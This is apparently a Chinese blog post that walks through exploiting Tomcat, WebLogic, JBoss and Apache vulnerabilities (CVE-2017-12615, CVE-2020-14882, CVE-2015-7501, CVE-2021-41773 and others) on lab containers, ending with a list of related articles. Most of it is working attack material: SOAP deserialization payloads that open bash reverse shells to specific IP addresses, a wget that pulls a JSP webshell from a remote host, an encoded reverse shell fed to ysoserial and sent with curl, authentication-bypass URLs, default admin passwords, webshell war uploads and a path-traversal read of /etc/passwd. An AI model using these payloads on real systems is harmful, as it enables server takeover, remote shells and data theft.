常见的中间件漏洞(tomcat,weblogic,jboss,apache)

Tomcat

CVE-2017-12615

开启靶场命令

复制代码
docker-compose up -d

打开靶场以后,打开抓包刷新一ip

tomcat8

同样先开启环境,将哥斯拉生成的jsp木马文件,压缩成zip文件,再将后缀改成war

下面找到上传点,上传文件即可

因为我们上传的是zk.war文件,所以url写zk/zk.jsp

CVE-2020-1938

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口, 另 外⼀个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

下面命令需要python2环境,和一个cve-2020-1938.py文件

复制代码
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml ip地址

WebLogic

cd vulhub-master/weblogic/weak_password

默认页面

url后面加console,登录页面

账号密码 :weblogic/Oracle@123

然后点部署,安装,上载文件

然后一直下一步,完成上传文件

这样就可以访问到了

然后用连接工具练一下

CVE-2017-3506

还是刚才那个靶场

进入页面抓包

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/124.221.58.83/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

放行即可

CVE-2019-2725

同理

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

CVE-2018-2628

工具

CVE-2018-2894

复制代码
docker-compose logs | grep password

设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页

复制代码
/ws_utc/config.do

把上面地址改成下面的地址,然后点提交。

复制代码
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
复制代码
/ws_utc/css/config/keystore/1726815031601_zk2.jsp

然后用weshell工具连接

CVE-2020-14882

默认登录页面

绕过登录认证

复制代码
/console/css/%252e%252e%252fconsole.portal

多试几次就可以绕过

第一种方式

url后面直接加下面

复制代码
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

然后进入容器

复制代码
docker exec -it 1e044bd903ea /bin/bash

ls /tmp

第二种方式

写一个1.xml内容如下,把它放到一个能访问的服务器下

复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/101.201.29.59:7001/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

开启监听

复制代码
nc -lvvp 6666

用python开一个临时的http服务,用来访问1.xml

复制代码
python3 -m http.server 88

然后url后面访问

复制代码
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://101.201.29.59:88/1.xml")

然后监听就可以反弹到shell了

jboss

CVE-2015-7501

复制代码
/invoker/JMXInvokerServlet 

这存在反序列化漏洞

反弹shell

复制代码
bash -i >& /dev/tcp/101.201.29.59/6666 0>&1

base64编码

复制代码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==

开监听

复制代码
nc -lccp 6666

用工具生成exp.ser

复制代码
java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser 

curl http://8.152.207.233:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

访问漏洞地址

复制代码
/jbossmq-httpil/HTTPServerILServlet

使用python运行jexboss.py工具直接执行下面语句即可拿到shell

复制代码
python jexboss.py -u http://101.201.29.59:8080

CVE-2017-12149

搭建好靶场以后,验证是否存在漏洞访问

复制代码
/invoker/readonly

返回500,说明页面存在,此页面存在反序列化漏洞

可以直接使用工具检测漏洞

Administration Console弱口令

先搭建好靶场

查看密码

复制代码
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

登录你url

复制代码
/admin-console/login.seam

上传后门war

上传上去连接即可

低版本JMX Console未授权

搭建好靶场

找到这里

这里上传war木马文件

然后连接即可

高版本JMX Console未授权

进入靶场以后

找到这里

远程部署war包

然后输入nvoke

连接webshell

Apache

CVE-2021-41773

环境搭建

复制代码
docker pull blueteamsteve/cve-2021-41773:no-cgid 
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

使用

复制代码
curl  http://121.40.229.129:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
相关推荐
阿昌喜欢吃黄桃14 天前
RocketMq事务消息原理
java·中间件·消息队列·rocketmq·mq
半夜修仙15 天前
延迟队列的介绍及常见问题
java·数据库·中间件·rabbitmq
手握风云-15 天前
一条消息的旅程:RabbitMQ 学习与实践(一)
中间件·rabbitmq
RH23121116 天前
2026.6.8Linux
java·数据库·中间件
理人综艺好会17 天前
双Token机制在实际项目中的应用与实践
中间件·token
番茄去哪了17 天前
神领物流面试题(一)
java·大数据·中间件
念何架构之路17 天前
消息中间件
中间件
都说名字长不会被发现17 天前
Spring Boot Starter 中间件账号密码加密方案设计与实现
java·spring boot·后端·中间件
瀚高PG实验室18 天前
java中间件无法连接数据库
java·数据库·中间件·瀚高数据库
之歆18 天前
Day11_Express 深入解析:从中间件到项目实战
中间件·express